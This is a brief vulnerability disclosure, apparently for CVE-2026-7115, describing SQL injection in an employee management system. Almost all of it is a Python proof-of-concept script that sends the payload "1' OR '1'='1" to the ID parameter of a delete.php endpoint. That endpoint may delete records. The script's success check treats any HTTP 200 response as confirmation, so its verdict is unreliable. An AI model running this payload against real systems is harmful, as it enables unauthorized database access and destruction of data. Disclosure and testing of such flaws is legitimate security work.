CVE-2026-7115: 员工管理系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/370project/delete.php" # Payload to test for SQL Injection (e.g., Boolean-based) # This payload attempts to make the SQL statement always true or cause an error payload = "1' OR '1'='1" params = { "ID": payload } try: response = requests.get(target_url, params=params, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Analyze response to confirm vulnerability based on content or errors if "error" in response.text.lower() or response.status_code == 200: print("Potential SQL Injection vulnerability confirmed.") except requests.RequestException as e: print(f"Error connecting to target: {e}")